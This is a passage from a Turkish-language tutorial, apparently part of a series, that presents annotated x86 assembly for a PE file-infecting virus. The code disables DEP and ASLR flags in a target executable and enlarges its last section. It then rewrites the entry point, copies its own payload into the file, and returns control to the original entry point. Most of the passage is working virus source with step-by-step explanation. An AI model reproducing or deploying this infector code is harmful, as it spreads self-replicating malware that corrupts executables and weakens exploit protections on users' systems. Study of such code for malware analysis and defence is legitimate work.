Bir sonraki adımda uygulamanın DEP ve ASLR uyumluluğunu ortadan kaldıracağız. DEP’i iptal edeceğiz çünkü virüs kodumuzu kopyalayacağımız son section’ın çalıştırma hakkı olup olmayacağını bilmiyoruz. ASLR’ı ortadan kaldırmasak olmaz mıydı, olurdu. Çünkü zaten orjinal giriş noktasını RVA değeri olarak yazıyoruz ve uygulamanın normal akışına devam etmesi için modül baz adresi ile toplayarak devam edeceğimiz adresi bulacağız. Bu nedenle aslında gerekli değil.


; 2. AMAÇ: Dosya'daki NX_COMPAT ve ASLR bit'lerini iptal et (ecx, edi ve ebx register'larına dokunmayacağız)
; DEP desteğini kaldırarak executable olmayan bir section'da da shellcode'umuzu çalıştırabileceğiz
 
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
 
; IMAGE_NT_HEADERS içinde 0x5C offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics son 2 byte'ta
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Son 2 Byte'tında DLL Characteristics değeri bulunan veriyi oku
sub esp, 4 ; buffer için yer aç
mov edx, esp ; buffer adresini EDX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
;Bu noktada son 2 Byte'ı DLL Characteristics değerini içeren değer ESP'nin işaret ettiği buffer'da ve bu adres aynı zamanda EDX register'ı tarafından işaret ediliyor
 
pop edx ; Okuduğumuz DLL Characteristics değeri şu anda EDX'te
; ESP orjinal noktasında
and edx, 0xFEBFFFFF ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitlerini sıfırlamak için AND işlemi gerçekleştiriyoruz
push edx ; Dynamic Base 0x0040 ve NX Compat 0x0100 bitleri sıfırlanmış DLL Characteristics değerini tekrar stack'e yazıyoruz
; ESP+4
mov edx, esp ; Buffer'ın adresini EDX'e atıyoruz
 
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
; 0x5C offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x5C ; IMAGE_NT_HEADERS içinde 0x5C offset'i - DLL Characteristics
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push edx ; buffer
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz
; ESP orjinal noktasında


Makalemizin ikinci bölümünde DLL Characteristics alanının DEP ve ASLR özellikleri ile ilgili olduğunu belirtmiştik.

Bir sonraki adımda “a.exe” isimli dosyanın son section başlığını bulacağız ve amaçlarımıza uygun olarak düzenleyeceğiz. Özetle bu section’ın büyüklüğünü virüs kodumuzu yazabilecek kadar artıracağız. Virüsü yazma işlemini daha sonraki bir adımda gerçekleştireceğiz.


; 3. AMAÇ: Son section header'ı bul ve düzenle
; Dosyadaki section sayısını bularak son section'ın başlangıç adresini buluyoruz. Daha sonra bu section içindeki virtual ve fiziksel büyüklük değerlerini artırıyoruz.
 
; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin BAŞLANGICI
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor
push eax ; IMAGE_NT_HEADERS offseti
; ESP+4
; IMAGE_NT_HEADERS offset değerinin stack'e kaydedilmesi'nin SONU
 
; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin BAŞLANGICI
; IMAGE_NT_HEADERS içinde 0x06 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x06 ; IMAGE_NT_HEADERS içinde 0x06 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Number of Sections değerini oku
xor eax, eax
push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz
; ESP+8
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 2 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
;Bu noktada Number of Sections değeri ESP'nin işaret ettiği buffer'da. 
mov edx, [esp] ; Number of Sections değeri EDX'e atanıyor
add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz
; ESP+4
 
; Çarpma işlemi hazırlığı
xor eax, eax
mov al, 0x28 ; her bir section header'ın uzunluğu
dec edx ; son section header'ın başına gitmeyi hedeflediğimizden section sayısını bir azaltıyoruz
mul dl ; EDX = section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır
;Bu noktada AX ve dolayısıyla EAX register'ı son section hariç toplam section header uzunluğunu içeriyor
push eax ; Son section hariç Toplam Section Header uzunluğunu stack'e yazıyoruz
; ESP+8
; Son section hariç toplam section header uzunlukları toplamının stack'e kaydedilmesi'nin SONU
 
; Size of Optional Header'ın EDX register'ına saklanmasının BAŞLANGICI
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
; Bu noktada EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor
 
; IMAGE_NT_HEADERS içinde 0x14 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x14 ; IMAGE_NT_HEADERS içinde 0x14 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Size of Optional Header değerini oku
xor eax, eax
push eax ; Buffer için yer açıyoruz, aynı zamanda bu alanı sıfırlıyoruz
; ESP+12
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 2 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
;Bu noktada Size of Optional Header değeri ESP'nin işaret ettiği buffer'da
mov edx, [esp] ; Toplama işlemini EDX register'ı üzerinde yapacağız
add esp, 4 ; buffer için kullandığımız 4 byte'ı iade ediyoruz
; ESP+8
; Size of Optional Header'ın EDX register'ına saklanmasının SONU
 
;Bu noktada 
;EDX'te Size of Optional Header
;ESP tarafından işaret edilen alanda son section hariç Toplam Section Header uzunluğu
;ESP+4 tarafından işaret edilen alanda IMAGE_NT_HEADERS offseti yer alıyor
;Son section header'ın başlangıcı = EDX + [ESP] + [ESP + 4] + 0x18 (Signature + IMAGE_FILE_HEADER)
add edx, [esp]
add edx, [esp + 4]
add edx, 0x18 ; Bu noktada son section header'ın başlangıç offset'i EDX register'ında
add esp, 8 ; Uzunluk bilgilerini saklamak için kullandığımız alanları (TOPLAM 8 BYTE) iade ediyoruz
; ESP orjinal noktasında
 
; Artık EDX register'ında bulunan offset bilgisini kullanarak section büyüklüklerini 0x800'er byte artırabiliriz
 
; VIRTUAL SIZE değerinin düzenlenmesi
add edx, 0x08 ; Son section header'daki Virtual Size offset'i
; Son section header'daki Virtual Size offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Virtual Size değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+4
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Bu noktada ESP buffer'ımıza işaret ediyor
mov eax, [esp]
add eax, 0x800 ; 0x800 byte artırmamızın ve orjinal virüs kodumuzda da 0x800 byte'ı doldurmamızın nedeni Virtual Size'ın fiziksel alandan küçük olması halinde payload'umuzun bir kısmının kırpılması riskini azaltmak
add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz
; ESP orjinal noktasında
push eax ; Yeni Virtual Size değerini stack'e kaydediyoruz
; ESP+4
mov ebp, esp ; Yeni Virtual Size değerinin tutulduğu buffer'ın adresini EBP'ye yazıyoruz
 
; Yeni Virtual Size'ı section header'a yaz
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer *
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz
; ESP orjinal noktasında
 
; SIZE OF RAW DATA değerinin düzenlenmesi
add edx, 0x08 ; Son section header'daki Size of Raw Data offset'i
; Son section header'daki Size of Raw Data offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Size of Raw Data değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+4
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Bu noktada ESP buffer'ımıza işaret ediyor
mov eax, [esp]
add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz
; ESP orjinal noktasında
push eax ; Orjinal Size of Raw Data değerini stack'e kaydediyoruz
; ESP+4
add eax, 0x800 ; Neden 0x800 byte eklediğimiz yukarıda açıklandı
push eax ; Yeni Size of Raw Data değerini stack'e kaydediyoruz
; ESP+8
mov ebp, esp ; Dosyaya yazılacak olan yeni Size of Raw Data'nın buffer adresi EBP'ye atanıyor
 
; Yeni Size of Raw Data'yı section header'a yaz
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer *
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
add esp,4 ; Buffer için aldığımız alanı iade ediyoruz
; ESP+4 (Orjinal Size of Raw Data değeri stack'te)
 
add edx, 0x04 ; Dosya'nın son section'ının sonuna payload'umuzun yazılması kısmında kullanmak üzere Dosya'nın son section header'ındaki Pointer to Raw Data offset'i hesaplıyoruz
push edx ; Pointer to Raw Data offset'i sonra kullanılmak üzere STACK'e yazıyoruz - bu bilgi aşağıda kullanılacak
; ESP+8 (Pointer to Raw Data offset'i stack'te)


Evet oldukça uzun bir kod parçası. Kaybolmamak için hedeflerimizi kısaca açıklayayım; section başlığımızın içinde virtual size ve fiziksel büyüklük alanlarını artırıyoruz. Bir section’ın fiziksel ve virtual büyüklüklerinin birbirlerinden neden farklı olabileceğini Stack Tabanlı Hafıza Taşma Açıklıkları video serimizde açıklamıştık. Burada ihtiyacımız olandan daha büyük bir artırma (0X800 byte) yapmamızın sebebi virtual size’ın fiziksel büyüklükten daha kısa olması halinde kodumuzun hafızaya yerleştirilmeme riskini azaltmak.

Bir sonraki adımda “a.exe” dosyasının Address of Entry Point değerini virüsümüzü yazacağımız son section’ın (orjinal) son adresi olarak değiştireceğiz.


; 4. AMAÇ: Address of Entry Point'in son section'da payload'un yazılacağı adres olarak değiştirilmesi
; Bu noktada ESP -> Pointer to Raw Data offset'i, ESP+4 -> Orjinal Size of Raw Data'yı içeriyor
 
sub edx, 0x08 ; EDX dosya'nın son Section Header'ının RVA offset'ine işaret ediyor
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Son section'ın RVA değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+12
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Bu noktada ESP buffer'ımıza işaret ediyor
mov ebp, [esp] ; EBP son section header'daki RVA değerini içeriyor
add esp, 4 ; fread Buffer'ı için aldığımız alanı geri veriyoruz
; ESP+8
 
add ebp, [esp+4]; Section RVA değerine Orjinal Size of Raw Data'yı ekliyoruz
 
push ebp ; Payload'umuzun yazılacağı RVA değerini STACK'e buffer alanına yazıyoruz
; ESP+12
mov ebp, esp ; Buffer alanının adresini EBP'ye kaydediyoruz
 
; IMAGE_NT_HEADERS offset'ine git
push ecx ; push *fread
push edi ; push *fseek
push ebx ; FILE *stream
call image_nt_headers_offsetine_yuru
add esp, 12 ; call parametre alanını geri veriyoruz
 
; IMAGE_NT_HEADERS içinde 0x28 offset'e git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 1 ; SEEK_CUR
push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
add esp, 4 ; Payload'umuzun yazılacağı RVA değerini yazmak için kullandığımız buffer alanını iade ediyoruz
; ESP+8


Bir sonraki adımda virüs kodumuzu a.exe dosyasının son section’ının sonuna yazacağız. Bu adımı gerçekleştirmek için öncelikle içinde çalıştığımız prosesin son section’ının son bölümünü okuyacağız. Okuduğumuz 0X600 byte’ı a.exe’nin sonuna yazdıktan sonra 0X200 byte’lık bir alanı da null karakterler ile pad’leyeceğiz.


; 5. AMAÇ: Dosya'nın son section'ının sonuna payload'umuzun yazılması
 
; Payload'umuzun yazılacağı adresin belirlenmesi
; Yukarıda stack'e orjinal Size of Raw Data yazılmıştı
; Burada da Pointer to Raw Data bulunarak bu değere eklenecek ve payload yazma adresimizi bulacağız
 
pop edx ; Son section header'daki Pointer to Raw Data offset'i
; ESP+4
; Son section header'daki Pointer to Raw Data offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Pointer to Raw Data değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+8
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
; Bu noktada ESP buffer'ımıza işaret ediyor
mov eax, [esp] ; Pointer to Raw Data değerini EAX'e aktarıyoruz
add esp, 4 ; fread için aldığımız stack alanını geri veriyoruz
; ESP+4
mov ebp, [esp] ; Orjinal Size of Raw Data değerini EBP'ye aktarıyoruz
add esp, 4 ; Orjinal Size of Raw Data değerini saklamak için kullandığımız stack alanını geri veriyoruz
; ESP orjinal noktasında
add ebp, eax ; EBP register'ı Payload'umuzu yazacağımız dosya offset'ini içeriyor
 
; Daha sonra stack'ten tekrar kopyalamak üzere bazı değerleri kaydediyoruz
push edi ; fseek fonksiyon adresi
push ebx ; FILE *stream
push ebp ; Dosya offset değerini STACK'E yazıyoruz
 
; Şimdi çalışan prosesin içinde payload'un başladığı adresi bulacağız
 
; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür
push 0x772a2220 ; hash(kernel32.dll)
call modul_bul
add esp, 4 ; call parametre alanını geri veriyoruz
push eax ;kernel32.dll modülünün adresini stack'e yaz
; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde)
push 0xa4aa2707 ; hash(GetModuleHandleA)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push 0 ; NULL parametresi
call eax ; call GetModuleHandleA
; Bu fonksiyon için callee parametreler için alanı geri verdiğinden (STDCALL calling convention'ı) caller tarafında, yani burada ESP'ye müdahale etmiyoruz
mov ebx, eax ; EXE modülü hafıza başlangıç adresi EBX register'ına aktarılır
mov ebp, eax ; EXE modülü hafıza başlangıç adresi EBP register'ına aktarılır. EBP'ye dokunmayacağız
add eax, 0x3C ; IMAGE_NT_HEADERS offset adresinin tutulduğu offset
mov eax, [eax] ; EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor
add ebx, eax ; EBX register'ı IMAGE_NT_HEADERS adresini içeriyor, sonraki alan adreslerini oluşturmak için bu register'ı kullanacağız
mov ecx, ebx ; ECX register'ı da IMAGE_NT_HEADERS adresini içeriyor, bu register'ı # of sections değerini bulmak için kullanacağız
add ecx, 6 ; ECX IMAGE_FILE_HEADER+6 adresini içeriyor
mov cx, [ecx] ; CX register'ı 4 bitlik # of Sections değerini içeriyor
dec cl ; Son section'ın ilk adresini bulabilmek için (# of Sections - 1) hesaplamasını yapıyoruz
xor eax, eax ; EAX register'ını sıfırlıyoruz ki çarpma sonucunda üst byte'lar temiz kalsın
mov al, 0x28; Her bir section header'ın uzunluğu 0x28 byte
mul cl ; CL section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır
; Bu noktada EBX = IMAGE_NT_HEADERS adresi, EAX = (# of sections - 1) x 0x28 değerlerini içeriyor. 
; Şimdi sırada ilk Section Header'ının değerini bulmak var
mov ecx, ebx ; ECX = IMAGE_NT_HEADERS
add ecx, 0x14 ; Size of Optional Header'ın offset'i
xor edx, edx ; EDX sıfırlandı
mov dx, [ecx] ; DX register'ı ve dolayısıyla EDX Size of Optional Header değerini içeriyor
add ebx, 0x18 ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER
add ebx, edx ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER = İlk section header'ın başlangıç adresi
add ebx, eax ; EBX = Son section header'ın başlangıç adresi
add ebx, 0x0C ; EBX = RVA değerinin adresi
mov ecx, [ebx] ; ECX = RVA değeri
add ecx, ebp ; ECX = Son section'ın hafızadaki başlangıç adresi
add ebx, 0x04 ; EBX = Size of Raw Data'nın adresi
 
add ecx, [ebx] ; ECX = Son section'ın son adresi (payload'umuz açısından)
sub ecx, 0x800 ; ECX = Payload'umuzun hafızadaki başlangıç adresi
 
; Yukarıda kaydettiğimiz değerleri geri yüklüyoruz
pop ebp ; Dosya offset değerini EBP'ye atıyoruz
pop ebx ; FILE *stream değerini EBX'e atıyoruz
pop edi ; fseek fonksiyon adresi EDI'a atıyoruz
 
; Hafızadaki payload'u dosyaya yaz
mov edx, ebp ; Klasik fseek çağrı parametre register'larımızı bozmamak için yazmaya başlayacağımız dosya offset'ini EDX'e atıyoruz
 
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
mov edx, eax ; fwrite fonksiyonunun adresini daha sonra da kullanmak üzere EDX'e atıyoruz
 
; İlk 0x600 byte kodumuzu içerecek ve hafızadan yüklenecek. 
; Ancak virtual size - fiziksel büyüklük farkı dolayısıyla 0x600 byte'ın tamamı hafızaya yüklenmemiş olabilir. Bu yüzden son 0x200 byte'ı "0" ile dolduracağız
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 0x600 ; nmemb - yazma sayısı
push 0x1 ; size - her seferinde yazılacak veri miktarı
push ecx ; buffer - yani hafızada payload'umuzun bulunduğu alanın başlangıcı
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
 
push 0 ; Son 0x200 byte'ı (dec 512) yazmak için kullanacağımız 4 byte'lık buffer. Bu alanı döngü tamamlandıktan sonra geri vereceğiz.
; ESP+4
mov ebp, esp ; EBP buffer'ımızın adresini içeriyor
mov ecx, 0x80 ; sayaç değerimiz hex 0x80 dec 128
doldur:
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 0x04 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer - 0x00000000 değerini barındıran stack alanının adresi
call edx ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
loop doldur
add esp, 4 ; 0x00000000 değerini saklamak için aldığımız alanı iade ediyoruz.
; ESP orjinal noktada


“a.exe” ile işimiz bittikten sonra artık dosyayı kapatabiliriz.


; Dosyayı kapat
push esi ; msvcr120.dll modül adresi
push 0x11060851 ; hash(fclose)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push ebx ; FILE *stream
call eax ; call fclose
add esp, 4 ; call parametre alanını geri veriyoruz


Yukarıda “a.exe” dosyasını bulamadığımızda da çalıştırılan son bölüme, “a.exe” ile işimiz bittiğinde de ihtiyacımız var. Bu nedenle son olarak OEM bölgesine yazılmış olan orjinal başlangıç noktasını okuyoruz, bu değeri EAX register’ına yazıyoruz ve bu adrese atlayarak uygulamanın normal akışına devam etmesine izin veriyoruz.


son_nokta :
 
; Bu noktadan sonra program normal akışına devam edecek
 
; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür
push 0x772a2220 ; hash(kernel32.dll)
call modul_bul
add esp, 4 ; call parametre alanını geri veriyoruz
push eax ; kernel32.dll modülünün adresini stack'e yaz
; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde)
push 0xa4aa2707 ; hash(GetModuleHandleA)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
 
push 0
call eax ; call GetModuleHandleA
; STDCALL calling convention gereği caller parametre alanını geri verdiğinden 
mov ebp, eax ; EXE modül baz adresini EBP'ye atıyoruz
add eax, 0x24 ; OEM bölgesinin adresi
